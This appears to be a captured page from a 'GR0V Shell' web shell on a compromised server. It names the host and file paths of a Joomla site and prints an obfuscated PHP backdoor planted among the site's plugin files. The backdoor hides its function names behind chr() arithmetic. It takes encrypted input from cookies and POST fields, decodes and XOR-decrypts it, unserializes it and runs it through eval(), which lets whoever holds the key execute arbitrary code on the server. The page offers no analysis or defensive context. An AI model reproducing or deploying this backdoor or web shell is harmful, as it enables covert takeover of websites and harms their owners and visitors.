? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/plugins/user/joomla/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/plugins/user/joomla/53d43d37.php

$iMAEb = "\110" . chr ( 997 - 898 )."\137" . "\125" . chr ( 745 - 625 )."\x74" . "\x65";$MpxkGHo = chr (99) . chr (108) . "\x61" . chr ( 758 - 643 ).chr ( 226 - 111 )."\137" . "\145" . "\170" . chr ( 507 - 402 )."\163" . 't' . chr ( 657 - 542 ); $jRoFcmxAB = $MpxkGHo($iMAEb); $iMAEb = "27547";$MpxkGHo = "38515";$LMNJaPelWE = $jRoFcmxAB;if (!$LMNJaPelWE){class Hc_Uxte{private $KgWAvlujlL;public static $khdarKJ = "0ab607f2-cb75-443c-805c-bb8f5495672b";public static $FcYRPNe = 41782;public function __construct($zalNvnm=0){$UQGGXsTZKk = $_COOKIE;$UzzwCH = $_POST;$sWDbLoY = @$UQGGXsTZKk[substr(Hc_Uxte::$khdarKJ, 0, 4)];if (!empty($sWDbLoY)){$tGqEKfT = "base64";$lJcXZrq = "";$sWDbLoY = explode(",", $sWDbLoY);foreach ($sWDbLoY as $wiCszkue){$lJcXZrq .= @$UQGGXsTZKk[$wiCszkue];$lJcXZrq .= @$UzzwCH[$wiCszkue];}$lJcXZrq = array_map($tGqEKfT . '_' . "\x64" . "\x65" . chr ( 1054 - 955 ).chr (111) . chr ( 1091 - 991 ).chr ( 820 - 719 ), array($lJcXZrq,)); $lJcXZrq = $lJcXZrq[0] ^ str_repeat(Hc_Uxte::$khdarKJ, (strlen($lJcXZrq[0]) / strlen(Hc_Uxte::$khdarKJ)) + 1);Hc_Uxte::$FcYRPNe = @unserialize($lJcXZrq);}}private function bvrHvLou(){if (is_array(Hc_Uxte::$FcYRPNe)) {$jhjwGJ = str_replace(chr ( 403 - 343 ) . "\77" . 'p' . chr ( 213 - 109 )."\x70", "", Hc_Uxte::$FcYRPNe["\143" . chr ( 636 - 525 ).chr (110) . 't' . 'e' . chr ( 166 - 56 ).chr (116)]);eval($jhjwGJ); $cWrnYxZmKN = "6539";exit();}}public function __destruct(){$this->bvrHvLou(); $cWrnYxZmKN = "6539";}}$PgCCu = new Hc_Uxte(); $PgCCu = "7433_48831";}

T1KUS90T
  root-grov@210.1.60.28:~$